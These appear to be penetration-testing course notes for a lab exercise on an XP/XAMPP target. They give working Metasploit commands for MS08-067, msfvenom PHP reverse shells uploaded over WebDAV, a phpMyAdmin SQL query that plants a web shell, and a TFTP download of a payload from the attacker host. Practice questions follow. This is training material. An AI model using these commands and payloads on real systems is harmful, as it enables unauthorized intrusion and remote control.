Ch 8

Exploitation

Install XAMPP on Window Target

- To install XAMPP on a Windows XP machine, follow these steps:
- **Step 1: Download XAMPP**
- Visit the official XAMPP website: https://www.apachefriends.org/index.html.
- Scroll down to find the Windows version of XAMPP.
- Select the version compatible with your system (most likely XAMPP 1.7x, newer versions may not support Windows XP).
- Download the installer.
- **Step 2: Install XAMPP**
- Once the download is complete, double-click the installer to begin the installation process.
- The installer will display a warning about Windows XP compatibility. Click "OK" or "Next" to proceed.
- Select the components you want to install. The default components (Apache, MySQL, PHP, **phpMyAdmin**) are usually sufficient.
- Choose the installation directory where you want to install XAMPP (e.g., C:\xampp).
- Click **Next** and then **Install** to start the installation.
- The installation process will take a few minutes.

Install XAMPP on Window Target

- **Step 3: Start XAMPP**
- After installation, you can launch the **XAMPP Control Panel** from the Start menu or directly from the XAMPP installation folder.
- In the XAMPP Control Panel, you will see buttons to start the Apache (web server) and MySQL (database server).
- Click on **Start** next to Apache and MySQL to start both services.
  - If Apache and MySQL start successfully, you will see green indicators.
  - If there's an issue with the ports (e.g., port 80 is in use), you may need to change the port in the XAMPP Control Panel settings.
- **Step 4: Test Installation**
- Open your browser and type http://localhost in the address bar.
- If everything is working properly, you should see the XAMPP welcome page.
- You can also access phpMyAdmin by typing http://localhost/phpmyadmin in the browser's address bar.
- **Step 5: Troubleshoot (if necessary)**
- **Firewall**: If you're facing issues, check if your firewall is blocking Apache or MySQL services. You might need to add exceptions for these services.
- **Port Conflicts**: If port 80 or 443 is being used by other applications, you can change the Apache port in the XAMPP Control Panel by clicking "Config" > "Apache (httpd.conf)" and searching for Listen 80 to change the port number.
- Now you have XAMPP installed and running on your Windows XP machine!

Exploiting MS08-067 with Metasploit

- **Open Metasploit:**
- msfconsole
- **Select the exploit:**

use exploit/windows/smb/ms08_067_netapi

- **Set the payload:**

set payload windows/meterpreter/reverse_tcp

- **Configure target options:**

set RHOST <target_IP>
set LHOST <attacker_IP>
set LPORT 4444

- **Run the exploit:**

exploit

- **Check session privileges:**

meterpreter > getuid

Uploading Files Using WebDAV

- **Verify credentials for WebDAV (wampp:xampp)**
- **Use cadaver to authenticate with WebDAV:**

  cadaver http://192.168.20.10/webdav
- **Upload a test file:**

  dav:/webdav/> put test.txt
- **Verify upload by browsing to** http://192.168.20.10/webdav/test.txt

Uploading a PHP Reverse Shell

- **Generate a PHP Meterpreter shell:**
  msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2323 -f raw > meterpreter.php
- **Upload the payload:**
  dav:/webdav/> put meterpreter.php
- **Start Metasploit listener:**
  use multi/handler
  set payload php/meterpreter/reverse_tcp
  set LHOST 192.168.20.9
  set LPORT 2323
  exploit
- **Execute the PHP payload by visiting** http://192.168.20.10/webdav/meterpreter.php
- **Verify successful shell access:**
  meterpreter > sysinfo
  meterpreter > getuid

Exploiting Open phpMyAdmin

- **Login to phpMyAdmin (http://192.168.20.10/phpmyadmin)**
- **Go to the SQL tab and run the command:**

  SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:\\xampp\\htdocs\\shell.php";
- **Access the web shell:**

  http://192.168.20.10/shell.php?cmd=whoami
- **Run commands remotely:**

  http://192.168.20.10/shell.php?cmd=ipconfig
- Try

  http://192.168.20.10/shell.php?cmd=ls

  http://192.168.20.10/shell.php?cmd=netstat

Exercise 1: Identify the Exploit

- Your target system is running Windows XP SP2 with an open SMB port (Port 445). You need to gain access using a well-known vulnerability.
- ⬙ **Question:** Which Metasploit module should you use to exploit this system?
  (A) exploit/windows/smb/ms17_010_eternalblue
  (B) exploit/windows/smb/ms08_067_netapi
  (C) exploit/windows/smb/psexec
  (D) exploit/multi/handler

Exercise 2: WebDAV File Upload

- You have authenticated to a WebDAV server at http://192.168.20.10/webdav. You want to upload a simple PHP file that executes system commands.
- ❖ **Question:** What command will you use to upload a PHP file named shell.php?
  (A) put shell.php
  (B) upload shell.php
  (C) move shell.php /webdav/
  (D) copy shell.php /webdav/

A security team wants to prevent attackers from uploading malicious scripts via WebDAV.

- ◈ **Question:** Which of the following security measures would best prevent this type of attack?
  (A) Restrict WebDAV access to authorized users only.
  (B) Configure a firewall to block all HTTP traffic.
  (C) Disable MySQL services on the server.
  (D) Only allow .jpg and .txt files for WebDAV uploads.

Downloading a File with TFTP

Overview

- After gaining system privileges, we can upgrade access by uploading a PHP script using TFTP instead of a long SQL SELECT query.

Step 1: Start the TFTP Server on Kali

- Run the command:
- root@kali:~# atftpd --daemon --bind-address 192.168.20.9 /tmp
- Ensure 'meterpreter.php' is present in '/tmp' before proceeding.

Step 2: Use the PHP Web Shell

- Execute in browser:
- http://192.168.20.10/shell.php?cmd=tftp -i 192.168.20.9 GET meterpreter.php C:\xampp\htdocs\meterpreter.php

Step 3: Start Metasploit Handler

1. Open Metasploit: msfconsole
2. Use multi-handler module
3. set payload: php/meterpreter/reverse_tcp
4. set LHOST & LPORT
5. start listener: exploit

Step 4: Execute the PHP Payload

- Browse to:
- http://192.168.20.10/meterpreter.php
- If successful, check with: meterpreter > sysinfo

Troubleshooting Steps

- Ensure TFTP server is running.
- Verify file location.
- Confirm Metasploit handler is active.
- Check firewall settings on target.

Summary

- ✅ MS08-067 exploit grants remote access.
- ✅ WebDAV allows file uploads for backdoor access.
- ✅ phpMyAdmin lets us create a backdoor using SQL queries.
- ✅ We can gain shell access using web-based execution
- ✅ Using TFTP simplifies file transfers and provides better control over target systems, avoiding complex SQL queries.